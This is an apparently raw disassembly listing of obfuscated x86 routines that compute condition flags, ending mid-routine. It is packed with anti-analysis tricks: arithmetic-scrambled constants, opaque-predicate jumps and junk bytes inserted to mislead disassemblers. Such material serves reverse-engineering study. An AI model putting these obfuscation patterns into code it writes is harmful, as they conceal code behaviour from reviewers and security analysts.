loc_49C5C0: ; CODE XREF: sub_49C3E1+1D4j
mov eax, [ebp+var_8]
push eax
call off_4F1D48
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49C3E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49C5D4 proc near ; DATA XREF: sub_4965D8+7A0o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DE0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1Fh
pop ebx
jo short loc_49C607
jl short loc_49C605
loc_49C600: ; CODE XREF: sub_49C5D4:loc_49C605j
; sub_49C5D4:loc_49C607j
jmp short loc_49C609
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49C605: ; CODE XREF: sub_49C5D4+2Aj
jz short loc_49C600
loc_49C607: ; CODE XREF: sub_49C5D4+28j
jmp short loc_49C600
; ---------------------------------------------------------------------------
loc_49C609: ; CODE XREF: sub_49C5D4:loc_49C600j
sub bl, 5
dec bl
push eax
dec bl
dec bl
and eax, 41h
dec bl
sub bl, 12h
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 1500h
dec dh
sub dh, 3
dec dh
sub dh, 7
dec dh
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
neg eax
mov [ebp+var_C], eax
mov ecx, dword_4ED410
xor ecx, dword_4ED414
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49C661
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49C661: ; CODE XREF: sub_49C5D4+82j
mov eax, [ebp+var_8]
push eax
call off_4F1D68
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49C5D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49C675 proc near ; DATA XREF: sub_4965D8+E88o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DAC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Dh
dec ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 7
dec ch
dec ch
and ah, ch
mov cl, 77h
sub cl, 2
dec cl
dec cl
dec cl
dec cl
not cl
bswap edx
not cl
bswap edx
dec cl
dec cl
push eax
dec cl
dec cl
sub cl, 12h
dec cl
jo short loc_49C6DD
jl short loc_49C6DB
loc_49C6D8: ; CODE XREF: sub_49C675:loc_49C6DBj
; sub_49C675:loc_49C6DDj
jmp short loc_49C6DF
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_49C6DB: ; CODE XREF: sub_49C675+61j
jz short loc_49C6D8
loc_49C6DD: ; CODE XREF: sub_49C675+5Fj
jmp short loc_49C6D8
; ---------------------------------------------------------------------------
loc_49C6DF: ; CODE XREF: sub_49C675:loc_49C6D8j
dec cl
and eax, 40h
dec cl
dec cl
dec cl
add cl, 0Eh
dec cl
dec cl
and eax, 800h
sub cl, 1Fh
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
pop eax
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
inc eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3DC
xor ecx, dword_4ED3E0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49C736
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49C736: ; CODE XREF: sub_49C675+B6j
mov eax, [ebp+var_8]
push eax
call off_4F1D34
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49C675 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49C74A proc near ; DATA XREF: sub_4965D8+20Co
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DDC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov dh, 3
dec dh
jo short loc_49C774
jl short loc_49C772
loc_49C76F: ; CODE XREF: sub_49C74A:loc_49C772j
; sub_49C74A:loc_49C774j
jmp short loc_49C776
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49C772: ; CODE XREF: sub_49C74A+23j
jz short loc_49C76F
loc_49C774: ; CODE XREF: sub_49C74A+21j
jmp short loc_49C76F
; ---------------------------------------------------------------------------
loc_49C776: ; CODE XREF: sub_49C74A:loc_49C76Fj
push eax
and eax, 80h
bswap eax
not eax
pop eax
sub dh, 2
jo short loc_49C78D
jl short loc_49C78B
loc_49C788: ; CODE XREF: sub_49C74A:loc_49C78Bj
; sub_49C74A:loc_49C78Dj
jmp short loc_49C78F
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49C78B: ; CODE XREF: sub_49C74A+3Cj
jz short loc_49C788
loc_49C78D: ; CODE XREF: sub_49C74A+3Aj
jmp short loc_49C788
; ---------------------------------------------------------------------------
loc_49C78F: ; CODE XREF: sub_49C74A:loc_49C788j
and ah, dh
mov dl, 4
dec dl
sub dl, 2
dec dl
sub dl, 0FFh
and al, dl
not ah
bswap eax
bswap eax
not ah
pop edx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED40C
xor ecx, dword_4ED410
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49C7D0
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49C7D0: ; CODE XREF: sub_49C74A+7Bj
mov eax, [ebp+var_8]
push eax
call off_4F1D64
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49C74A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49C7E4 proc near ; DATA XREF: sub_4965D8+855o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DD0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 80h
jmp short loc_49C80D
; ---------------------------------------------------------------------------
mov ebx, 4
loc_49C80D: ; CODE XREF: sub_49C7E4+22j
mov ebx, 0A4h
xor ebx, 96h
not ebx
bswap eax
not ebx
inc ebx
inc ebx
inc ebx
inc ebx
inc ebx
add ebx, 5
dec ebx
push ecx
mov ecx, 4
add ebx, ecx
inc ebx
pop ecx
bswap eax
and eax, ebx
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED400
xor ecx, dword_4ED404
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49C85F
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49C85F: ; CODE XREF: sub_49C7E4+70j
mov eax, [ebp+var_8]
push eax
call off_4F1D58
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49C7E4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49C873 proc near ; DATA XREF: sub_4965D8+CFo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DCC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 0AFh
sub cl, 2
dec cl
dec cl
dec cl
sub cl, 6
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
sub cl, 10h
dec cl
dec cl
add cl, 0Ch
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
sub cl, 10h
sub cl, 1
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
inc eax
pop ebx
push eax
mov eax, [ebp+var_4]
mov edx, 300h
inc dh
inc dh
dec dh
inc dh
inc dh
inc dh
inc dh
and eax, edx
neg eax
sbb eax, eax
inc eax
mov edx, eax
pop eax
xor ecx, ecx
jo short loc_49C93A
jl short loc_49C938
loc_49C935: ; CODE XREF: sub_49C873:loc_49C938j
; sub_49C873:loc_49C93Aj
jmp short loc_49C93C
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49C938: ; CODE XREF: sub_49C873+C0j
jz short loc_49C935
loc_49C93A: ; CODE XREF: sub_49C873+BEj
jmp short loc_49C935
; ---------------------------------------------------------------------------
loc_49C93C: ; CODE XREF: sub_49C873:loc_49C935j
cmp eax, edx
jz short loc_49C953
jo short loc_49C94B
jl short loc_49C949
loc_49C944: ; CODE XREF: sub_49C873:loc_49C949j
; sub_49C873:loc_49C94Bj
jmp short loc_49C94D
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49C949: ; CODE XREF: sub_49C873+CFj
jz short loc_49C944
loc_49C94B: ; CODE XREF: sub_49C873+CDj
jmp short loc_49C944
; ---------------------------------------------------------------------------
loc_49C94D: ; CODE XREF: sub_49C873:loc_49C944j
and eax, 0
inc eax
jmp short loc_49C956
; ---------------------------------------------------------------------------
loc_49C953: ; CODE XREF: sub_49C873+CBj
and eax, 0
loc_49C956: ; CODE XREF: sub_49C873+DEj
mov [ebp+var_C], eax
mov ecx, dword_4ED3FC
xor ecx, dword_4ED400
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49C979
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49C979: ; CODE XREF: sub_49C873+FBj
mov eax, [ebp+var_8]
push eax
call off_4F1D54
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49C873 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49C98D proc near ; DATA XREF: sub_4965D8+553o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DD8
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 80h
jmp short loc_49C9B6
; ---------------------------------------------------------------------------
mov ebx, 4
loc_49C9B6: ; CODE XREF: sub_49C98D+22j
mov ebx, 32h
not ebx
bswap eax
not ebx
inc ebx
jo short loc_49C9CB
jl short loc_49C9C9
loc_49C9C6: ; CODE XREF: sub_49C98D:loc_49C9C9j
; sub_49C98D:loc_49C9CBj
jmp short loc_49C9CD
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49C9C9: ; CODE XREF: sub_49C98D+37j
jz short loc_49C9C6
loc_49C9CB: ; CODE XREF: sub_49C98D+35j
jmp short loc_49C9C6
; ---------------------------------------------------------------------------
loc_49C9CD: ; CODE XREF: sub_49C98D:loc_49C9C6j
inc ebx
inc ebx
add ebx, 7
push ecx
mov ecx, 4
add ebx, ecx
inc ebx
pop ecx
bswap eax
jo short loc_49C9E7
jl short loc_49C9E5
loc_49C9E2: ; CODE XREF: sub_49C98D:loc_49C9E5j
; sub_49C98D:loc_49C9E7j
jmp short loc_49C9E9
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_49C9E5: ; CODE XREF: sub_49C98D+53j
jz short loc_49C9E2
loc_49C9E7: ; CODE XREF: sub_49C98D+51j
jmp short loc_49C9E2
; ---------------------------------------------------------------------------
loc_49C9E9: ; CODE XREF: sub_49C98D:loc_49C9E2j
and eax, ebx
pop ebx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED408
xor ecx, dword_4ED40C
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49CA14
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49CA14: ; CODE XREF: sub_49C98D+7Cj
mov eax, [ebp+var_8]
push eax
call off_4F1D60
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49C98D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49CA28 proc near ; DATA XREF: sub_4965D8+4B4o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push ebx
jo short loc_49CA3E
jl short loc_49CA3C
loc_49CA39: ; CODE XREF: sub_49CA28:loc_49CA3Cj
; sub_49CA28:loc_49CA3Ej
jmp short loc_49CA40
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
loc_49CA3C: ; CODE XREF: sub_49CA28+Fj
jz short loc_49CA39
loc_49CA3E: ; CODE XREF: sub_49CA28+Dj
jmp short loc_49CA39
; ---------------------------------------------------------------------------
loc_49CA40: ; CODE XREF: sub_49CA28:loc_49CA39j
mov ebx, 4
and eax, ebx
push ecx
mov ch, 10h
sub ch, 1
dec ch
dec ch
dec ch
jo short loc_49CA5C
jl short loc_49CA5A
loc_49CA57: ; CODE XREF: sub_49CA28:loc_49CA5Aj
; sub_49CA28:loc_49CA5Cj
jmp short loc_49CA5E
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
loc_49CA5A: ; CODE XREF: sub_49CA28+2Dj
jz short loc_49CA57
loc_49CA5C: ; CODE XREF: sub_49CA28+2Bj
jmp short loc_49CA57
; ---------------------------------------------------------------------------
loc_49CA5E: ; CODE XREF: sub_49CA28:loc_49CA57j
dec ch
dec ch
mov ebx, [ebp+arg_4]
dec esi
dec edi
dec edi
xor edx, edx
or ebx, edx
jo short loc_49CA75
jl short loc_49CA73
loc_49CA70: ; CODE XREF: sub_49CA28:loc_49CA73j
; sub_49CA28:loc_49CA75j
jmp short loc_49CA77
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_49CA73: ; CODE XREF: sub_49CA28+46j
jz short loc_49CA70
loc_49CA75: ; CODE XREF: sub_49CA28+44j
jmp short loc_49CA70
; ---------------------------------------------------------------------------
loc_49CA77: ; CODE XREF: sub_49CA28:loc_49CA70j
jz short loc_49CA95
dec edi
dec ch
dec ch
dec ch
dec ch
sub ch, 8
and eax, 0
jo short loc_49CA91
jl short loc_49CA8F
loc_49CA8C: ; CODE XREF: sub_49CA28:loc_49CA8Fj
; sub_49CA28:loc_49CA91j
jmp short loc_49CA93
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
loc_49CA8F: ; CODE XREF: sub_49CA28+62j
jz short loc_49CA8C
loc_49CA91: ; CODE XREF: sub_49CA28+60j
jmp short loc_49CA8C
; ---------------------------------------------------------------------------
loc_49CA93: ; CODE XREF: sub_49CA28:loc_49CA8Cj
jmp short loc_49CAAC
; ---------------------------------------------------------------------------
loc_49CA95: ; CODE XREF: sub_49CA28:loc_49CA77j
dec edi
dec ecx
sub ch, 2
dec ch
dec ch
sub ch, 8
and eax, 0
dec ecx
sub ch, 2
dec ch
dec edx
inc eax
loc_49CAAC: ; CODE XREF: sub_49CA28:loc_49CA93j
mov [ebp+var_8], eax
mov eax, dword_4ED3B8
xor eax, dword_4ED3BC
shl eax, 1
mov [ebp+var_4], eax
cmp [ebp+var_8], 0
jz short loc_49CACE
mov ecx, [ebp+var_4]
or ecx, 1
mov [ebp+var_4], ecx
loc_49CACE: ; CODE XREF: sub_49CA28+9Bj
mov edx, [ebp+var_4]
push edx
call off_4F1D10
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49CA28 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49CAE2 proc near ; DATA XREF: sub_4965D8+5DBo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DA0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
mov ecx, 800h
mov ecx, 4Bh
not ecx
bswap eax
not ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
dec ecx
inc ecx
inc cl
inc cl
inc cl
add ecx, 0Dh
inc cl
inc cl
inc cl
inc cl
inc cl
add ecx, 0Ah
dec ecx
push edx
mov edx, 4
add ecx, edx
inc ecx
pop edx
bswap eax
add ecx, 3
and eax, ecx
pop ecx
neg eax
sbb eax, eax
neg eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3D0
xor ecx, dword_4ED3D4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49CB73
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49CB73: ; CODE XREF: sub_49CAE2+86j
mov eax, [ebp+var_8]
push eax
call off_4F1D28
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49CAE2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49CB87 proc near ; DATA XREF: sub_4965D8+CD9o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DE0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov dh, 6
dec dh
jo short loc_49CBB1
jl short loc_49CBAF
loc_49CBAC: ; CODE XREF: sub_49CB87:loc_49CBAFj
; sub_49CB87:loc_49CBB1j
jmp short loc_49CBB3
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49CBAF: ; CODE XREF: sub_49CB87+23j
jz short loc_49CBAC
loc_49CBB1: ; CODE XREF: sub_49CB87+21j
jmp short loc_49CBAC
; ---------------------------------------------------------------------------
loc_49CBB3: ; CODE XREF: sub_49CB87:loc_49CBACj
sub dh, 2
push eax
mov eax, 800h
bswap eax
not eax
pop eax
sub dh, 3
and ah, dh
mov dl, 4
dec dl
sub dl, 2
dec dl
sub dl, 0FFh
and al, dl
not ah
bswap eax
bswap eax
not ah
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED410
xor ecx, dword_4ED414
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49CC00
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49CC00: ; CODE XREF: sub_49CB87+6Ej
mov eax, [ebp+var_8]
push eax
call off_4F1D68
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49CB87 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49CC14 proc near ; DATA XREF: sub_4965D8+B8o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DDC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 8
dec bh
dec bh
sub bh, 2
dec bh
dec bh
dec bh
dec bh
and eax, 80h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 86h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 1Ah
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
pop ebx
pop edx
test eax, eax
jnz loc_49CD81
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 1
dec bh
and eax, 41h
bswap ecx
pop eax
bswap ecx
jo short loc_49CCAC
jl short loc_49CCAA
loc_49CCA5: ; CODE XREF: sub_49CC14:loc_49CCAAj
; sub_49CC14:loc_49CCACj
jmp short loc_49CCAE
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49CCAA: ; CODE XREF: sub_49CC14+8Fj
jz short loc_49CCA5
loc_49CCAC: ; CODE XREF: sub_49CC14+8Dj
jmp short loc_49CCA5
; ---------------------------------------------------------------------------
loc_49CCAE: ; CODE XREF: sub_49CC14:loc_49CCA5j
and ah, bh
jo short loc_49CCBB
jl short loc_49CCB9
loc_49CCB4: ; CODE XREF: sub_49CC14:loc_49CCB9j
; sub_49CC14:loc_49CCBBj
jmp short loc_49CCBD
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49CCB9: ; CODE XREF: sub_49CC14+9Ej
jz short loc_49CCB4
loc_49CCBB: ; CODE XREF: sub_49CC14+9Cj
jmp short loc_49CCB4
; ---------------------------------------------------------------------------
loc_49CCBD: ; CODE XREF: sub_49CC14:loc_49CCB4j
mov bl, 97h
sub bl, 3
jo short loc_49CCCD
jl short loc_49CCCB
loc_49CCC6: ; CODE XREF: sub_49CC14:loc_49CCCBj
; sub_49CC14:loc_49CCCDj
jmp short loc_49CCCF
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49CCCB: ; CODE XREF: sub_49CC14+B0j
jz short loc_49CCC6
loc_49CCCD: ; CODE XREF: sub_49CC14+AEj
jmp short loc_49CCC6
; ---------------------------------------------------------------------------
loc_49CCCF: ; CODE XREF: sub_49CC14:loc_49CCC6j
sub bl, 0Ah
dec bl
dec bl
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov ecx, eax
push ecx
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1Fh
pop ebx
jo short loc_49CD08
jl short loc_49CD06
loc_49CD01: ; CODE XREF: sub_49CC14:loc_49CD06j
; sub_49CC14:loc_49CD08j
jmp short loc_49CD0A
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49CD06: ; CODE XREF: sub_49CC14+EBj
jz short loc_49CD01
loc_49CD08: ; CODE XREF: sub_49CC14+E9j
jmp short loc_49CD01
; ---------------------------------------------------------------------------
loc_49CD0A: ; CODE XREF: sub_49CC14:loc_49CD01j
sub bl, 5
dec bl
push eax
dec bl
dec bl
and eax, 40h
dec bl
sub bl, 12h
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 1200h
dec dh
sub dh, 1
dec dh
jo short loc_49CD3B
jl short loc_49CD39
loc_49CD34: ; CODE XREF: sub_49CC14:loc_49CD39j
; sub_49CC14:loc_49CD3Bj
jmp short loc_49CD3D
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49CD39: ; CODE XREF: sub_49CC14+11Ej
jz short loc_49CD34
loc_49CD3B: ; CODE XREF: sub_49CC14+11Cj
jmp short loc_49CD34
; ---------------------------------------------------------------------------
loc_49CD3D: ; CODE XREF: sub_49CC14:loc_49CD34j
sub dh, 7
jo short loc_49CD4B
jl short loc_49CD49
loc_49CD44: ; CODE XREF: sub_49CC14:loc_49CD49j
; sub_49CC14:loc_49CD4Bj
jmp short loc_49CD4D
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49CD49: ; CODE XREF: sub_49CC14+12Ej
jz short loc_49CD44
loc_49CD4B: ; CODE XREF: sub_49CC14+12Cj
jmp short loc_49CD44
; ---------------------------------------------------------------------------
loc_49CD4D: ; CODE XREF: sub_49CC14:loc_49CD44j
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
dec eax
jo short loc_49CD62
jl short loc_49CD60
loc_49CD5B: ; CODE XREF: sub_49CC14:loc_49CD60j
; sub_49CC14:loc_49CD62j
jmp short loc_49CD64
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49CD60: ; CODE XREF: sub_49CC14+145j
jz short loc_49CD5B
loc_49CD62: ; CODE XREF: sub_49CC14+143j
jmp short loc_49CD5B
; ---------------------------------------------------------------------------
loc_49CD64: ; CODE XREF: sub_49CC14:loc_49CD5Bj
inc eax
dec eax
inc eax
dec eax
inc eax
dec eax
jo short loc_49CD73
jl short loc_49CD71
loc_49CD6E: ; CODE XREF: sub_49CC14:loc_49CD71j
; sub_49CC14:loc_49CD73j
jmp short loc_49CD75
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49CD71: ; CODE XREF: sub_49CC14+158j
jz short loc_49CD6E
loc_49CD73: ; CODE XREF: sub_49CC14+156j
jmp short loc_49CD6E
; ---------------------------------------------------------------------------
loc_49CD75: ; CODE XREF: sub_49CC14:loc_49CD6Ej
inc eax
pop ecx
cmp ecx, eax
jnz short loc_49CD81
and eax, 0
inc eax
jmp short loc_49CD84
; ---------------------------------------------------------------------------
loc_49CD81: ; CODE XREF: sub_49CC14+6Ej
; sub_49CC14+165j
and eax, 0
loc_49CD84: ; CODE XREF: sub_49CC14+16Bj
mov [ebp+var_C], eax
mov ecx, dword_4ED40C
xor ecx, dword_4ED410
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49CDA7
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49CDA7: ; CODE XREF: sub_49CC14+188j
mov eax, [ebp+var_8]
push eax
call off_4F1D64
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49CC14 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49CDBB proc near ; DATA XREF: sub_4965D8+104Do
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D88
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 10h
dec bh
dec bh
dec al
dec bh
dec bh
dec al
dec bh
dec al
dec al
dec bh
dec bh
dec bh
dec bh
dec bh
dec al
dec bh
dec bh
dec al
dec al
dec bh
dec bh
dec al
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 8Ch
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 3
dec bl
dec bl
dec bl
dec bl
sub bl, 1Ah
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
neg eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3B8
xor ecx, dword_4ED3BC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49CE7C
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49CE7C: ; CODE XREF: sub_49CDBB+B6j
mov eax, [ebp+var_8]
push eax
call off_4F1D10
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49CDBB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49CE90 proc near ; DATA XREF: sub_4965D8+16Do
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D84
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push eax
mov eax, 4
bswap eax
not eax
pop eax
push edx
mov dh, 80h
mov dh, 0
inc dh
mov ecx, ecx
inc dh
inc dh
dec edi
inc dh
dec edi
inc dh
jo short loc_49CED3
jl short loc_49CED1
loc_49CECE: ; CODE XREF: sub_49CE90:loc_49CED1j
jmp short loc_49CED5
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49CED1: ; CODE XREF: sub_49CE90+3Cj
jz short loc_49CECE
loc_49CED3: ; CODE XREF: sub_49CE90+3Aj
jmp short near ptr loc_49CF27+1
; ---------------------------------------------------------------------------
loc_49CED5: ; CODE XREF: sub_49CE90:loc_49CECEj
inc dh
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 80h
xchg eax, ecx
mov ecx, 41h
xchg eax, ecx
not eax
pop eax
dec edi
not ecx
pop ecx
inc dh
dec edi
inc dh
and ebx, 800h
inc dh
dec edi
inc dh
